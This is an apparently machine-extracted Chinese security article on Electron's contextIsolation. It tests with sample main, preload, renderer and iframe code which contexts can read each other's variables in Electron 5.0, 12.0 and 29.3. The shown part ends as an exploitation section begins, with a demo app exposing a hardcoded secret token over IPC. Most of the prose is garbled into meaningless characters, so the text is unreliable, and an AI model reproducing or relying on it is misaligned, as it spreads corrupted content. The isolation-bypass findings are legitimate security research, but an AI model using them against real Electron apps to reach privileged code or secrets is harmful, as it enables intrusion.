


contextIsolation | Electron 㱧⪓  
 

0x00 䬠ꁻ  
╯⯥氳┉疟Electron 㱧⪓┚✃䡘䕜䕜注⪩乄珖ꪝ䅻氳Ꝛ豓抆䬠❠▽ PDF  撷儗⛙鲸佭㵗舚䏭指☕
别别佭憠䋯洇▽┉┖㱮陸曎㛻脱 7.95%  䄅⺓⛙┕┉疟洡氳佭䡘鈿䐂䏭ꄆ金氳┉疟㵒㛻㳄▽鉯 

Electron  䋯⹠氳䈒榫爊䈌㱧⪓僗䅬Ⲃ┚夷╄☕⮊㲓注⪩
⛙佭┕┉疟乄珖⫂㳋㜁指㵗舚䏭指⫂㳋睧䈲奃鰏睱⺎耇⚢簄㛻㳄鵲䡗陬鉯㍕塝䡘♜䣒畀⫋⫞┉
◙乄珖┉全佭㵨篱荣辍⩘岳咠◅全佭⫋塝全⽛⺤㛻㳄嫱䙬 Electron  㱧⪓鲹♭◄㞝冽㛻㳄┘
⢢⭴⹛䈒䈒榫爊䈌氳䋯⹠縖佭┘⚢僗䢦车ⲁ氳鲹仰䋳◇㏇榾耭╈㒪▽┉◙㏐ꦽ

 

0x01 甏☮  
㛻㳄㞑☫㛿⽰㛻㳄阥阷氳佭 Electron  氳⺁┉╄㛻氳㱧⪓䫣亨 —— contextIsolation  
ⷊ┕┖乄ꣵ熊

┕┖乄ꣵ熊Ⱶ耇㵨漶变䖻氳 预加载 耾儗 ⽰ Electron氳⫂鼨鶷鰝鲡车㏇䢦ⱶ鰉氳 webcontent 粠
건╯㛚氳⺁┉╄斻环氳┕┖乄朅㗟ꄅն 

鲹㵒㱧⪓䓪䏭ꄆ金㍕╙㱚僗Ⲃ◇ꡢ塛粠珇阼ꠋ Electron 氳⫂鼨篯♭⽰䖻氳것ⱶ鰉耾儗⺎阼ꠋ氳냖璡
篒儹꡿氳API ն
鲹䙬⽏浔㲓ꡮ┕䖻氳것ⱶ鰉耾儗阼ꠋ氳 window  㵒霅䇜┘佭粠珇䢦耇阼ꠋ氳㵒霅ն ❇㞝㞝冽
䖻㏇것ⱶ鰉耾儗╈阻糌 window.hello = 'wave'  䇜┦⻪榫▽┕┖乄ꣵ熊䎎粠珇㶍陒阼ꠋ
window.hello 㵒霅休㵨鲮影 undefinedն

☳䬞鳮洇全┕┖乄ꣵ熊╚金佭漶变것ⱶ鰉耾儗┚粠珇峷刌粠건╯ꠑ氳㵒霅ꣵ熊┚╚鲽
爊䈒院媆僗⪩硍⛙佭䡘♜㏇䫙┖全氳⫂㳋ꄅ鲸佭金孾陒┉┖洡氳佭鲹劫
 

0x02 Electron 孲爊嘗㑔  
https://www.electronjs.org/zh/docs/latest/tutorial/process-model

㏇㲇粠氳☮篸╈㵨 Electron  氳孲爊嘗㑔燢╙指鲽爊嘗㑔
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https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&mid=2247500135&idx=1&sn=fe0f27a3d49a57b19df6fa1b23150645&chksm=fbdef5e6cca97cf083147a6fb5c85b87c7bb6da92ede5cb9dae29b3d55639388e227087e1209&token=1495738975&lang=zh_CN#rd
https://www.electronjs.org/zh/docs/latest/api/web-contents
https://www.electronjs.org/zh/docs/latest/tutorial/process-model


 

┕ꪫ佭 Chrome  氳嘗㑔 Electron  ┚⪭注⛎夷┉╄건ꪫ齉佭┉╄鲽爊鲹劫┉╄峷刌鲽
爊氳㾆览┘⚢✳㛻㳄齉㾆览鲹╄嘗㑔ꄅ僄╚金氳㶩佭╚鲽爊յ峷刌鲽爊
 

╚鲽爊  

夷╄ Electron  䈒榫齉僗┉╄⶝┉氳╚鲽爊⛼╙䈒榫爊䈌氳⪍⹾憠ն ╚鲽爊㏇ Node.js  
朅㗟╈鲡车鲹䙬⽏浔㱚僗 require  嘗怪⽰✳榫䢦僗 Node.js API  氳耇ⱱն
╚鲽爊⺎♔鵠鲋 BrowserWindow  ⮡䋧猫⹾ⷊ峷刌鲽爊
 

峷刌鲽爊  

夷╄ Electron  䈒榫齉⚢╙夷╄䣒䋯氳 BrowserWindow  ( ┚夷╄粠건㿋⪍ ) 问䡗┉╄⶝斻
氳峷刌鲽爊ն 孫㞝⪭⺳峷刌顆顊峷刌粠건⫂㳋ն 䢦♔㲓ꡮ┕鲡车◇峷刌鲽爊╈氳
♏溞佭걺鹗拨粠건剝⬢氳 (舘㵽㶩泘⯥✳榫氳 Chromium  縡銨佭㞝塝) ն
㍕塝┉╄宂鈾猫⹾╈氳䢦僗氳榫䢓槡ꪫ⽰䈒榫Ⱶ耇齉䈒┚䖻㏇粠건䋯⹠┕✳榫注⺱氳䄄
⽰鈺葶全鲽车䶦⫞
塝㛚鲹█䙬⽏浔峷刌仰儹波䫙阼ꠋ require  䡝⪭☽ Node.js API ն ╙▽㏇峷刌╈
波䫙ⴎ⻡ NPM  嘗怪䖻䑒걺✳榫┚㏇ web  䋯⹠休注⺱氳䣒ⴎ䄄 (❇㞝 webpack  䡝 
parcel )

 

Preload 耾儗  

것ⱶ鰉 preload 耾儗ⴎ⻡▽黁◙䣮车◇峷刌鲽爊╈┦⩝◇粠건⫂㳋䋯㡏ⱶ鰉氳♏溞 
ն 鲹◙耾儗豓鲡车◇峷刌氳朅㗟╈ⷌ㍕耇阼ꠋ Node.js API  縡䦦僗▽催指氳儹꡿ն
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것ⱶ鰉耾儗⺎♔㏇ BrowserWindow  冘鵲亡嫏╈氳 webPreferences  鴲걸ꄅ逈ꡭⱶ⮽╚鲽
爊ն

㍕╙것ⱶ鰉耾儗┚宂鈾⪦◸⺱┉╄⪓㷀 Window  䫙⹾䇜┦⺎♔阼ꠋ Node.js API 䢦
♔㱚鵠鲋㏇⪓㷀 window  ╈倽꨽♳䙬 API 全㘍䍠峷刌♔➘✃氳粠건⫂㳋✳榫ն
㞝冽儔䋯⻪┕┖乄ꣵ熊 Preload  耾儗㵨亡嫏䡝⹩ꄈ倽꨽簄峷刌鲽爊氳亡䌋㞝┖

 

 

䋯⻪┕┖乄ꣵ熊⺵ Preload  耾儗㵨亡嫏䡝⹩ꄈ倽꨽簄峷刌鲽爊꧎金鵠鲋 contextBridge

const { BrowserWindow } = require('electron')

// ...

const win = new BrowserWindow({

  webPreferences: {

    preload: 'path/to/preload.js'

  }

})

// ...

// preload.js

window.myAPI = {

  desktop: true

}

// renderer.js

console.log(window.myAPI)

// preload.js

const { contextBridge } = require('electron')

contextBridge.exposeInMainWorld('myAPI', {

  desktop: true

})
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https://developer.mozilla.org/en-US/docs/Web/API/Window


 

 

♔┕⫂㳋㏰全舅㲇亡乄勮
https://www.electronjs.org/zh/docs/latest/tutorial/process-model

 

0x03 랸阡⡬撷儗⹩催  
㏇┕┉疟乄珖 nodeIntegration | Electron㱧⪓ ╈䡘♜傾陱鲋 Electron 5.0  ╈랸阡鿥
糌╙

nodeIntegration: false  

contextIsolation: true

mixed sandbox: true

sandbox: false

鲹佭䡘☳㲇亡乄勮氳 ꄆ㛻催䷊ 鼨⮇藜⹧氳⼝䕜⛙佭㏇⫞鲹疟乄珖╈䡘⹠朆㲇粠乄勮┘塛
┉㚲⹒剝阭 contextIsolation  佭㏇ 12.0  ╈逈랸阡阻糌╙ true  氳
䡘㵨鲹◙樋侁湟泴氳乄勮ꛔ䫙㞝┖

https://www.electronjs.org/zh/docs/latest/breaking-changes#%E9%87%8D%E5%A4%A7%E7

%9A%84api%E6%9B%B4%E6%96%B0-50

https://www.electronjs.org/zh/docs/latest/tutorial/context-isolation

https://www.electronjs.org/zh/docs/latest/tutorial/security#3-%E4%B8%8A%E4%B8%8B%E6

%96%87%E9%9A%94%E7%A6%BB

// renderer.js

console.log(window.myAPI)

// => { desktop: true }
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https://www.electronjs.org/zh/docs/latest/tutorial/process-model
https://mp.weixin.qq.com/s/BpZCobA5f2ZVZykmjGgrbQ
https://www.electronjs.org/zh/docs/latest/breaking-changes#%E9%87%8D%E5%A4%A7%E7%9A%84api%E6%9B%B4%E6%96%B0-50
https://www.electronjs.org/zh/docs/latest/tutorial/context-isolation
https://www.electronjs.org/zh/docs/latest/tutorial/security#3-%E4%B8%8A%E4%B8%8B%E6%96%87%E9%9A%94%E7%A6%BB
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┘鲋┘䓏䡘♜儗全㶩佭㲓饨⭴洡湳氳孾陒┉┖┘㶩湳鷺▽
 

朅㗟䯌䋧  

┕┉疟乄珖  nodeIntegration | Electron㱧⪓  ╈ꪝ䅻陣篱㏐☮篸▽朅㗟䯌䋧鲋爊鲹ꄅ甏
鳮⬵㵽㛻㳄氳ꠢ陸顆䥵

nvm  顆顊㱧逸 nodejs  ⺎♔䏭亡➘氳鲽车 nodejs  撷儗䫝⯆
Fiddle  顆顊 Electron  撷儗䫝⯆䇜┦㷤炐♏溞 

Electron 5.0  撷儗鰏⛦꧎金✳榫 npm  鲽车㱧逸╯⺵㏇ Electron  鲽车䧗㲋
✳榫 Deepin Linux  ⛼╙孾陒朅㗟䳩⛼硍簊

 

Electron 5.0  
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https://mp.weixin.qq.com/s/BpZCobA5f2ZVZykmjGgrbQ


朅㗟⬢㚷㞑⺵波䫙✳榫랸阡氳鿥糌鲽车孾陒
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⺎♔洇⮽㏇ Electron 5.0  ╈峷刌鲽爊䡗Ⱶ䣒ⷅ⭴▽ Preload  耾儗╈ window  㵒霅氳
䡗⼥㷯䓪
 

䡘♜㶍陒侁䌋㏐㵨 contextIsolation  阻糌╙ true  ⫋埠鲽车孾陒
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鲹影䣒ⷅ氳篾冽佭 undefined  
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鲹陱伺㏇ Electron 5.0  ╈ contextIsolation  氳랸阡⡬╙ false

 

Electron 12.0  

榺◇╯⯥㱧逸鲋 NodeJS 14.16.0  䢦♔鲹ꄅ波䫙⮊䩦撷儗ⷊ⺎
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鼨糓㞑朅㗟⺵鲽车孾陒
 

抆縡䏭鸆䞽氳佭㏇ Deepin Linux  ┕ Electron 12.0  氳爊䈌⛎╲僗 bug  䣒┘䋯䋯⹠
縖䄄䢦♔䡘♜ꃾ榫 alert  氳亡䌋鲽车뀰阾
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⺎♔洇⭴㏇ Electron 12.0  ╈랸阡 contextIsolation  氳⡬╙ true  ⷊ랸阡䋯⻪┕
┖乄ꣵ熊
㵨 contextIsolation  侁䌋㏐阻糌╙ false
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⫋埠阾伺┕ꪫ氳篾冽
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辍⩘孾陒陱伺  

䫙┖全䡘♜꧎金鲽车辍⩘孾陒㏇ 12.0.0  氳┕┉╄撷儗氳䗯⬅ⷊ 11.5.0

 

Electron 11.5.0  
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㵨 contextIsolation  侁䌋㏐阻糌╙ true

第 15 ⻚ / 共 67 ⻚



⺎♔洇⭴㏇ 11.5.0  撷儗╈ contextIsolation  랸阡⡬╙ false

 

篾阷  

contextIsolation  랸阡逈阻糌╙ false  佭☳ Electron 12.0.0  䋯㡏氳
 

0x04 contextIsolation 氳䪷☽䓪  
contextIsolation  ┕┖乄ꣵ熊氳䷞冽佭⻖⹨⪭☽㱧⪓鿥糌氳䏆⿏⼱ 鲹ꄅ鲸佭孾陒♔┖└
╄㱧⪓鿥糌

nodeIntegration  

contextIsolation

sandbox

 

┕┉疟⫂㳋䡘♜⹠朆㏇ Electron 5.0  ⯥⺵ sandbox: true  氳䷞冽┘┉舚㍕塝儗埠
孾陒鴲䦫└╄撷儗

Electron 5.0.0
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㱧⪓鿥糌䈌⺙ contextIsolation sandbox nodeIntegration

1 true false false

2 false true false

3 false false false

Electron 12.0.0

Electron 29.3.0

䧝杼陱 nodeIntegration  䈒院┘⚢䏆⿏ contextIsolation 縡┦㶩畀佭僗䏆⿏█佭 
nodeIntegration  ⡬╙ false  氳休⠯僗䏆⿏䕞㞑☳ Electron 5.0  䋯㡏⪭⡬랸阡╙ 
false

sandbox  ⪭㲓█佭眷⛎氳僗䏆⿏█佭㏇ sandbox: true  休僗䏆⿏㏇ Electron 20.0  
休랸阡䋯⻪ sandbox  

 

縡┦鲹埠孾陒䡘♜金㶍陒右䷊┉┖ preload  ╈⹩ꄈ氳⡬ num  䇜阻糌┉╄䧝Ꚅ全侁炐右䷊⺵
氳⡬㞝冽右䷊㜊題⮟侁炐 contextIsolation works well

 

鿥糌辑  

 

Electron 5.0  

 

鿥糌 1  

鲹╄⪭㲓╯⯥䄖篺孾陒鲋▽鲹ꄅ⫋榫亍氳㲓뀰孾陒┉┖

contextIsolation: true

sandbox: false

nodeIntegration: false
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㶍陒右䷊ Preload  耾儗╈氳 num  ⡬休逈┕┖乄ꣵ熊瓀樋ꡢ䦨瓀樋僗䷞
 

鿥糌 2  

Electron 5.0  ㏇ Deepin Linux  ┕仰嫏✳榫 sandbox: true  䢦♔ sandbox: true  
氳鼨⮇㏇ Windows  ┕鲽车뀰阾
contextIsolation: false

sandbox: true

nodeIntegration: false
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憠⭵䧝Ꚅ⺵

sandbox: true  䇜┘耇䅠全┕┖乄ꣵ熊氳䷞冽⺆僗 contextIsolation  ╙ true  休䣉⺎
♔
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鿥糌 3 㶩┘꧎金孾陒▽
 

Electron 5.0 䔅篾  

㏇ Electron 5.0  ╈ contextIsolation  ┚⪭☽允걸鿥糌仰⪩⪩ꠊ 
contextIsolation  ⺵,ⷊ✳䋯⻪▽婻畴❤仾┘⚢ꣵ熊┕┖乄
 

Electron 12.0  

鿥糌 1  

鲹╄⪭㲓╯⯥䄖篺孾陒鲋▽鲹ꄅ⫋榫亍氳㲓뀰孾陒┉┖

contextIsolation: true

sandbox: false

nodeIntegration: false
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憠⭵䧝Ꚅ

㶍陒右䷊ Preload  耾儗╈氳 num  ⡬休逈┕┖乄ꣵ熊瓀樋ꡢ䦨瓀樋僗䷞
 

鿥糌 2  

Electron 12.0  ㏇ Deepin Linux  ┕仰嫏✳榫 sandbox: true  䢦♔ sandbox: true  
氳鼨⮇㏇ Windows  ┕鲽车뀰阾
contextIsolation: false

sandbox: true

nodeIntegration: false
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憠⭵䧝Ꚅ⺵
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sandbox: true  䇜┘耇䅠全┕┖乄ꣵ熊氳䷞冽⺆僗 contextIsolation  ╙ true  休䣉⺎
♔
 

鿥糌 3 㶩┘꧎金孾陒▽
 

Electron 12.0 䔅篾  

㏇ Electron 12.0  ╈ contextIsolation  ┚⪭☽允걸鿥糌仰⪩⪩ꠊ 
contextIsolation  ⺵,ⷊ✳䋯⻪▽婻畴❤仾┘⚢ꣵ熊┕┖乄
 

Electron 29.3  

鿥糌 1  

contextIsolation: true

sandbox: false

nodeIntegration: false
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㶍陒右䷊ Preload  耾儗╈氳 num  ⡬休逈┕┖乄ꣵ熊瓀樋ꡢ䦨瓀樋僗䷞
 

鿥糌 2  

contextIsolation: false

sandbox: true

nodeIntegration: false
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憠⭵䧝Ꚅ⺵

sandbox: true  䇜┘耇䅠全┕┖乄ꣵ熊氳䷞冽⺆僗 contextIsolation  ╙ true  休䣉⺎
♔
 

鿥糌 3 㶩┘꧎金孾陒▽
 

Electron 29.3 䔅篾  

㏇ Electron 29.3  ╈ contextIsolation  ┚⪭☽允걸鿥糌仰⪩⪩ꠊ 
contextIsolation  ⺵,ⷊ✳䋯⻪▽婻畴❤仾┘⚢ꣵ熊┕┖乄

第 26 ⻚ / 共 67 ⻚



 

䔅篾  

contextIsolation  ꣵ熊峷刌鲽爊┚ Preload 氳䷞冽㏇䄖孾陒氳⭓╄ Electron  撷儗
╈辑朆┉舚
contextIsolation  氳䷞冽┘⹨ nodeIntegration յ sandbox  氳䏆⿏⪩ꠊ┕┖乄ꣵ
熊㶩⚢㵗舚峷刌鲽爊⺎♔藜⹧䇜右䷊ Preload  ╈ window 㵒霅氳亡嫏⹩ꄈ璡鲽车┖┉
塠氳庀嬼⮵榫

 

0x05 ┕┖乄ꣵ熊䷞冽葶㍴  
㏇㲇亡䬞鳮╈┕┖乄ꣵ熊⺆佭㏇峷刌鲽爊┚ Preload 것ⱶ鰉耾儗氳陪㗟╈䫙┖ꄅ䡘♜金孾
陒┉┖♔┖㍌╄陪㗟┕┖乄╈氳ꣵ熊䗯⬅
╚鲽爊
Preload

峷刌鲽爊
iframe

䡘♜氳鈼鉉佭☳䷍⭵鈼鉉⭴⹠氳█㶩佭陱夷┉熨陪㗟⺆⸼䫓碠耇㛫藜⹧催指⼝䕜氳ꣵ熊佭⻖
僗䷞㍕塝篒⮷█㶩佭┕ꪫ⮜⭴全氳篒⮷饄熊全䢦㶩佭䡘♜⚢䫓碠 iframe  耇┘耇藜⹧
⮽╚鲽爊յ Preload յ 峷刌鲽爊陪㗟╈氳㵒霅յ亡嫏յ⹩ꄈ縡┘⚢⸼䫓碠╚鲽
爊յ Preload յ峷刌鲽爊佭⻖耇㛫藜⹧ iframe  陪㗟⫂氳⫂㳋
䡘♜䣒䋯 nodeIntegration  ⪩ꠊ sandbox ⮇⮷孾陒䋯/⪩ contextIsolation  休┖
篒⺸┕篒氳阼ꠋ䗯⬅亡勆㞝┖
亡勆辑  
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亡勆䈌⺙ contextIsolation 阼ꠋ걹䈌
1 true Preload  -> ╚鲽爊
2 true 峷刌鲽爊 -> ╚鲽爊
3 true iframe  -> ╚鲽爊
4 true

iframe+window.open  ->
╚鲽爊

5 true 峷刌鲽爊 -> Preload

6 true iframe  -> Preload

7 true
iframe+window.open  ->
Preload

8 true iframe  -> 峷刌鲽爊
9 true

iframe+window.open  ->
峷刌鲽爊

亡勆䈌⺙ contextIsolation

1 true

2 false

鲹佭 contextIsolation  ╙ true  氳䗯⬅㞝冽ⱶ┕ contextIsolation  ╙ false  黁
㶩僗 18 熨䗯⬅㞝冽⫋ⱶ┕┘⺱ Electron  撷儗╯ꠑ氳孾陒⺎耇㶩⚢僗⭓ⶇ熨㍕塝䡘♜
䤧┕ꪫ氳 9  熨䗯⬅㏇┉╄걸泘ꄅ㱮䡗鲹劫┕ꪫ㶩佭┉熨䗯⬅▽㍕塝㲓ꡮ氳亡勆辑㞝┖

鲸佭鴲䦫 Electron 5.0 յ Electron 12.0  յ Electron 29.3  ⮇⮷鲽车孾陒
 

╚鲽爊耾儗  

main.js

// Modules to control application life and create native browser window

const {app, BrowserWindow} = require('electron')

const path = require('path')
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const mainVar = "I am from the main process  "

function createWindow () {

  // Create the browser window.

  const mainWindow = new BrowserWindow({

    width: 1600,

    height: 1200,

    webPreferences: {

      contextIsolation: false , 

      sandbox: false ,

      nodeIntegration: true ,

      preload: path.join(__dirname, 'preload.js')

    }

  })

  // and load the index.html of the app.

  mainWindow.loadFile('index.html')

  // Open the DevTools.

  mainWindow.webContents.openDevTools()

}

// This method will be called when Electron has finished

// initialization and is ready to create browser windows.

// Some APIs can only be used after this event occurs.

app.whenReady().then(() => {

  createWindow()

  

  app.on('activate', function () {

    // On macOS it's common to re-create a window in the app when the

    // dock icon is clicked and there are no other windows open.

    if (BrowserWindow.getAllWindows().length === 0) createWindow()

  })

})

// Quit when all windows are closed.

app.on('window-all-closed', function () {

  // On macOS it is common for applications and their menu bar
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峷刌鲽爊耾儗  

index.html

  // to stay active until the user quits explicitly with Cmd + Q

  if (process.platform !== 'darwin') app.quit()

})

// In this file you can include the rest of your app's specific main 

process

// code. You can also put them in separate files and require them here.

<!DOCTYPE html>

<html>

  <head>

    <meta charset="UTF-8">

    <title>Hello World!</title>

    <style>

      /* Add some basic styling for the table */

      table {

        width: 100%;

        border-collapse: collapse;

        margin-top: 2rem;

      }

      

      th,

      td {

        padding: 0.5rem;

        text-align: left;

        border-bottom: 1px solid #ccc;

      }

      

      th {

        background-color: #f2f2f2;

        font-weight: bold;
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      }

      

      tr:nth-child(even) {

        background-color: #f9f9f9;

      }

      

      .result {

        font-family: monospace;

      }

    </style>

  </head>

  <body>

    <h1>Hello World!</h1>

    We are using Node.js <span id="node-version"></span>,

    Chromium <span id="chrome-version"></span>,

    and Electron <span id="electron-version"></span>.

    <table>

      <thead>

        <tr>

          <th>描述</th>

          <th>结果</th>

        </tr>

      </thead>

      <tbody>

        <tr>

          <td>Preload 获取主进程变量的结果为：</td>

          <td class="result" id="preload-to-main"></td>

        </tr>

        <tr>

          <td>渲染进程获取主进程变量的结果为：</td>

          <td class="result" id="renderer-to-main"></td>

        </tr>

        <tr>

          <td>渲染进程获取 Preload 变量的结果为：</td>

          <td class="result" id="renderer-to-preload"></td>

        </tr>

      </tbody>

    </table>
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renderer.js

 

    <!-- You can also require other files to run in this process -->

    <script src="./renderer.js"></script>

    <iframe src="http://192.168.31.216/1.html" width="800" height="300">

</iframe>

    <br>

    <iframe src="http://192.168.31.216/2.html"></iframe>

  </body>

</html>

window.rendererVar = "I am from the renderer process  "

const renderResult = (var_name, ele_id) => {

    let result;

    if (typeof window[var_name] !== 'undefined' || (typeof global !== 

'undefined' && typeof global[var_name] !== 'undefined')) {

        result = window[var_name] !== 'undefined' ? window[var_name] : 

global[var_name];

    } else {

        result = "⽆法获取其值";

    }

    document.getElementById(ele_id).innerText = result;

}

let result;

// renderer -> main

renderResult("mainVar", "renderer-to-main")

// renderer -> preload

renderResult("preloadVar", "renderer-to-preload")
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것ⱶ鰉耾儗  

preload.js

 

iframe  

僜ⱷ㏐㏥: http://192.168.31.216/

1.html

window.preloadVar = "I am from the preload script  "

window.addEventListener('DOMContentLoaded', () => {

  const replaceText = (selector, text) => {

    const element = document.getElementById(selector)

    if (element) element.innerText = text

  }

  for (const type of ['chrome', 'node', 'electron']) {

    replaceText(`${type}-version`, process.versions[type])

  }

  let result;

  if (typeof window.mainVar !== 'undefined' || typeof global.mainVar !== 

'undefined') {

      result = window.mainVar !== 'undefined' ? window.mainVar : 

global.mainVar;

  } else {

      result = "⽆法获取其值";

  }

  document.getElementById("preload-to-main").innerText = result;

})

<!DOCTYPE html>

<html>

<head>

  <meta charset="UTF-8">

</head>
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iframe_getVars.js

 

<body>

  <div>

    <h1>iframe 1.html</h1>

    <div>iframe 获取主进程变量的结果为：<span id="iframe-to-main"></span></div>

    <div>iframe 获取 Preload 变量的结果为：<span id="iframe-to-preload">

</span></div>

    <div>iframe 获取渲染进程变量的结果为：<span id="iframe-to-renderer"></span>

</div>

    <script src="iframe_getVars.js"></script>

  </div>

</body>

</html>

const renderResult = (var_name, ele_id) => {

    let result;

    if (typeof window[var_name] !== 'undefined' || (typeof global !== 

'undefined' && typeof global[var_name] !== 'undefined')) {

        result = window[var_name] !== 'undefined' ? window[var_name] : 

global[var_name];

    } else {

        result = "⽆法获取其值";

    }

    document.getElementById(ele_id).innerText = result;

}

renderResult("mainVar", "iframe-to-main")

renderResult("preloadVar", "iframe-to-preload")

renderResult("rendererVar", "iframe-to-renderer")
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iframe + window.open  

僜ⱷ㏐㏥: http://192.168.31.216/

2.html

 

3.html

<!DOCTYPE html>

<html>

<head>

</head>

<body>

  <div>

    <h1>iframe 2.html</h1>

    <script>window.open("http://192.168.31.216/3.html")</script>

  </div>

</body>

</html>

<!DOCTYPE html>

<html>

<head>

  <meta charset="UTF-8">

</head>

<body>

  <div>

    <h1>iframe 3.html</h1>

    <div>iframe + window.open 获取主进程变量的结果为：<span id="iframe-window-

open-to-main"></span></div>

    <div>iframe + window.open 获取 Preload 变量的结果为：<span id="iframe-

window-open-to-preload"></span></div>

    <div>iframe + window.open 获取渲染进程变量的结果为：<span id="iframe-

window-open-to-renderer"></span></div>

    

    <script src="iframe_window_open_getVars.js"></script>

  </div>

</body>

</html>
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iframe_window_open_getVars.js

 

Electron 5.0  

亡勆 1  

const renderResult = (var_name, ele_id) => {

    let result;

    if (typeof window[var_name] !== 'undefined' || (typeof global !== 

'undefined' && typeof global[var_name] !== 'undefined')) {

        result = window[var_name] !== 'undefined' ? window[var_name] : 

global[var_name];

    } else {

        result = "⽆法获取其值";

    }

    document.getElementById(ele_id).innerText = result;

}

renderResult("mainVar", "iframe-window-open-to-main")

renderResult("preloadVar", "iframe-window-open-to-preload")

renderResult("rendererVar", "iframe-window-open-to-renderer")
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contextIsolation  ╙ true  休┖篒㏰仰嫏藜⹧┕篒氳⹩ꄈ/䅻ꄈ氳⡬ꣵ熊僗䷞わ
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亡勆 2  

䎎 contextIsolation  阻糌╙ false  休
峷刌鲽爊⺎♔藜⹧ Perload  ⹩ꄈ氳篾冽
iframe + window.open  ⺎♔藜⹧ Preload  ⹩ꄈ氳篾冽
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篺鲋孾陒ⷊ✳ sandbox 阻糌╙ true  █┘䏆⿏ iframe + window.open  藜⹧ Preload  
⹩ꄈ氳篾冽
 

Electron 5.0 䔅篾  

㏇ Electron 5.0  ╈ contextIsolation  ╙ true  休⺎♔僗䷞ꣵ熊╚鲽
爊յ Preload յ峷刌鲽爊յ iframe  ⹖ iframe+window.open  氳陪㗟变阾 JavaScript  
⫂㳋┘逈痙䷊ 

contextIsolation  ╙ false  休峷刌鲽爊⹖ iframe + window.open  ⽰ Preload  耾儗
⪦◸┉╄ window  㵒霅ⷊ⺎♔阼ꠋ䇜右䷊ Preload  ╈ window.xxx  ♔⹖ JavaScript  
⫂糌㵒霅氳⫂㳋
 

Electron 12.0  

亡勆 1  
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篾冽┚ Electron 5.0  亡勆 1 ┉舚
 

亡勆 2  
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Electron 12.0 䔅篾  

㏇ Electron 12.0  ╈ contextIsolation  ╙ true  休⺎♔僗䷞ꣵ熊╚鲽
爊յ Preload յ峷刌鲽爊յ iframe  ⹖ iframe+window.open  氳陪㗟变阾 JavaScript  
⫂㳋┘逈痙䷊ 

contextIsolation  ╙ false  休峷刌鲽爊⹖ iframe + window.open  ⽰ Preload  耾儗
⪦◸┉╄ window  㵒霅ⷊ⺎♔阼ꠋ䇜右䷊ Preload  ╈ window.xxx  ♔⹖ JavaScript  
⫂糌㵒霅氳⫂㳋
 

Electron 29.3  

亡勆 1  
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Electron 29.3 亡勆 1 ┚⪭☽撷儗氳亡勆 1 ䷞冽┉舚
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亡勆 2  

鲹ꄅ㶩┘┉劫▽峷刌鲽爊☱抆⺎♔藜⹧╚鲽爊⹩ꄈ/䅻ꄈ縡 iframe + window.open  鲹
埠㶩仰嫏藜⹧⮽ Preload  氳⫂㳋▽
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Electron 29.3 䔅篾  

㏇ Electron 29.3  ╈ contextIsolation  ╙ true  休⺎♔僗䷞ꣵ熊╚鲽
爊յ Preload յ峷刌鲽爊յ iframe  ⹖ iframe+window.open  氳陪㗟变阾 JavaScript  
⫂㳋┘逈痙䷊ 

contextIsolation  ╙ false  休峷刌鲽爊⽰ Preload  耾儗⪦◸┉╄ window  㵒霅ⷊ
⺎♔阼ꠋ䇜右䷊ Preload  ╈ window.xxx  ♔⹖ JavaScript  ⫂糌㵒霅氳⫂㳋
 

window.open 撷儗⟤㛄孾陒  

䧝拨┕┉疟乄珖 window.open  氳ꠋ겗佭㏇ Electron 14.0  ╈右择氳䢦♔䡘♜⫋孾陒┉
┖┕┖乄ꣵ熊佭┘佭█㏇ 14.0  ╈鉯⬀氳
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漶㲓㏇ 14.0.0  ╈鲽车▽右择
 

window.open sandbox 孾陒  

┕┉荣䡘♜⹠朆 window.open  ⛎╲⺎♔簀鲋 sandbox 縡☳ 6.0  䋯㡏 sandbox  䋯⻪
休 Preload  耾儗㶩⺆耇䣮车⹨꡿⯆氳 NodeJS  

㞝冽䡘♜鴲䦫┉╄ 6.0 ~ 14.0  ╯ꠑ撷儗氳 Electron  Preload  耾儗㵨 require  篼㲋
㏇ window  ┕鵠鲋 iframe + window.open  ⚢┘⚢耇簀鲋 sandbox  ꡿⯆䣮车㱮丞氳 
NodeJS  ♏溞
篺鲋孾陒媆僗䡗Ⱶ簀鲋
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ꣵ熊䷞冽葶㍴㵸篾  

㏇ Electron  ╈ contextIsolation  ╙ true  休⺎♔僗䷞ꣵ熊╚鲽爊յ Preload յ峷
刌鲽爊յ iframe  ⹖ iframe+window.open  氳陪㗟变阾 JavaScript  ⫂㳋┘逈痙䷊ 

contextIsolation  ╙ false  休峷刌鲽爊⽰ Preload  耾儗⪦◸┉╄ window  㵒霅ⷊ
峷刌鲽爊⺎♔阼ꠋ䇜右䷊ Preload  ╈ window.xxx  ♔⹖ JavaScript  ⫂糌㵒霅氳⫂㳋
㏇ Electron 14.0.0  ⯥ iframe + window.open  ⺎♔阼ꠋ鱳⮽⽰峷刌鲽爊┉劫氳䷞冽
 

✳榫休ꠑ篪䬞鳮㞝┖
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0x06 㣛羈⮇冫  
峷刌鲽爊耇阼ꠋ/右䷊ Preload  氳 JavaScript  ⹒耇䓃╫劫⼱ ⹒┘佭耇䣮车 NodeJS  ♏
溞▽耇僗指㛻⷇㲺 

 

1. 庀嬼嘗㑔  

䡘♜䥩霅⭓熨嘗㑔全庌炐⪭⷇㲺
1) ⟔䕜媶庀  

╚鲽爊㲋共▽允╄ “沪⻤” ⪭╈┉╄鲮影䅻鈺⫂㳋┉╄鲮影⫂㳋寘⹖䷨䚊⫂㳋䷨䚊⫂㳋
佭䏢䏢佭ⲁ䒳问䡗氳
⺆僗䎎榫䢓䬠◬氳⫂㳋 key  ㏇丘篯╈䣉⚢⺸╚鲽爊⹠颯鵠⼝藜⹧䷨䚊⼝䕜
main.js

// Modules to control application life and create native browser window

const {app, BrowserWindow, ipcMain} = require('electron')

const path = require('path')

const secret_token = "YFYYFnxTdTzJnlPGvsbSHJqukPLYzqmKoEJcXdjOWsQ"

function createWindow () {

  // Create the browser window.

  const mainWindow = new BrowserWindow({

    width: 1600,

    height: 1200,
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    webPreferences: {

      contextIsolation: false , 

      sandbox: true ,

      nodeIntegration: false ,

      preload: path.join(__dirname, 'preload.js')

    }

  })

  // and load the index.html of the app.

  mainWindow.loadFile('index.html')

  // Open the DevTools.

  mainWindow.webContents.openDevTools()

}

// This method will be called when Electron has finished

// initialization and is ready to create browser windows.

// Some APIs can only be used after this event occurs.

app.whenReady().then(() => {

  ipcMain.handle('normal',  () => { return "no permission" })

  ipcMain.handle('invisible', () => { return secret_token })

  createWindow()

  

  app.on('activate', function () {

    // On macOS it's common to re-create a window in the app when the

    // dock icon is clicked and there are no other windows open.

    if (BrowserWindow.getAllWindows().length === 0) createWindow()

  })

})

